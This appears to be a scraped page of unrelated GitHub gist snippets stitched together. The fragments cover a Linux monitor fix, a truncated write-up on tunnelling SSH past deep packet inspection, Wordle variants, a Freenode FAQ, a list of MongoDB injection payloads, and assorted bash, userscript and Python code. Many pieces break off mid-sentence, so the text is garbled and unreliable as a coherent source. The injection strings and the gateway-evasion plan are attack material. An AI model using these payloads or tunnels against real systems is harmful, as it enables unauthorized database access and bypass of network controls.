David theddaywork

preface: Posting these online since it sounds like these notes are somewhat interesting based on a few folks I've shared with. These are semi-rough notes that I basically wrote for myself in case I ever needed to revisit this fix, so keep that in mind.

I recently bought an LG ULTRAGEAR monitor secondhand off of a coworker. I really love it and it's been great so far, but I ran into some minor issues with it in Linux. It works great on both Mac and Windows, but on Linux it displays just a black panel until I use the second monitor to go in and reduce the refresh rate down to 60 Hz.

This has worked decent so far but there's some issues:

It doesn't work while linux is booting up. The motherboards boot sequence is visible just fine, but as soon as control is handed over to Linux and I'd normally see a splash screen while I'm waiting for my login window, I see nothing.
It doesn't work on the login screen. This would be fine if login consistently worked on my second screen, but I need to manually switch

Circumventing Deep Packet Inspection with Socat and rot13

I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

Rejected by Deep Packet Inspection

I hit an immediate snag. The moment I try to establish an SSH or SSL connection over o

Wordle inspired games

Wordle - The original game.
Dordle - Two wordle games at once.
Quordle - Four wordle games at once.
Lewdle - Like wordle but with lewd words.
Sweardle - Swear word guessing game.
Nerdle - Like wordle but with equations.
Mathler - Find the hidden calculation that equals 128.
Primel - Guess the prime number in 6 tries.

Gist for https://www.youtube.com/watch?v=MTLgbp0GH8w

Documentation

Monitor and Restart Offline Agents

Steps from the video

mkdir -p $HOME/cronjobs/reconnect-agents

The Freenode resignation FAQ, or: "what the fuck is going on?"

IMPORTANT NOTE:

It's come to my attention that some people have been spamming issue trackers with a link to this gist. While it's a good idea to inform people of the situation in principle, please do not do this. By all means spread the word in the communities that you are a part of, after verifying that they are not aware yet, but unsolicited spam is not helpful. It will just frustrate people.

Update 3 (May 24, 2021)

A number of things have happened since the last update.

	$gt
	$ne
	$nin
	$where: '1 == 1'
	' && this.password.match(/.*/)//+%00
	' && this.passwordzz.match(/.*/)//+%00
	' \|\| 'a'=='a
	' } ], $comment:'successful MongoDB injection'
	'%20%26%26%20this.password.match(/.*/)//+%00
	'%20%26%26%20this.passwordzz.match(/.*/)//+%00

	#!/usr/bin/env bash
	HELP="Usage: $0 [-n LINES] [-p PREFIX] [-w] [-h]

	Continuously displays the last '-n' lines of 'stdin'.

	Parameters:
	-n Number of lines to display (default: 5).
	-p PREFIX Prefix lines with 'PREFIX'.
	-w Preserve blank lines (default: false).
	-h Display this help

	// ==UserScript==
	// @name Prevent link mangling on Google
	// @namespace LordBusiness.LMG
	// @match https://www.google.com/search
	// @grant none
	// @version 1.1
	// @author radiantly
	// @description Prevent google from mangling the link when copying or clicking the link on Firefox
	// ==/UserScript==

	from math import comb
	from string import Template


	guard = "[worker] (left >= {n} & ((queue >= {n} & K = {n}) \| (queue = {n} & K > {n}))) ->"

	# For n = 3, this should be
	# p^3 + 3p^2(1-p) + 3p(1-p)^2 + (1-p)^3
	def actions_for(n):
	base = "{prob}: (left' = left - {x}) & (queue' = queue - {x})"

	# A Tkinter calculator in a single Python expression
	# See https://www.reddit.com/r/Python/comments/ojab0n/i_see_your_17_loc_calculator_and_i_raise_you_a/
	(tk := __import__("tkinter")) and (bt_draw := lambda k, c, l: (bt := tk.Button(w, text=k, command=lambda: bt_press(k), width=6)) and bt.grid(column=c, row=l)) and (update := lambda t: d.config(text=t)) and (bt_press := lambda k: update("") if k == "C" else update(d["text"][:-1]) if k == "<" else update(str(round(eval(d["text"]), 6))) if k == "=" else update(d["text"] + k)) and (w := tk.Tk()) and w.title("TKalc") or (d := tk.Label(w, text="")) and d.grid(column=0, row=0, columnspan=5) or [bt_draw(k, n%4 + 1, n//4 + 1) for n, k in enumerate("()C<789/456*123-.0=+")] and w.mainloop()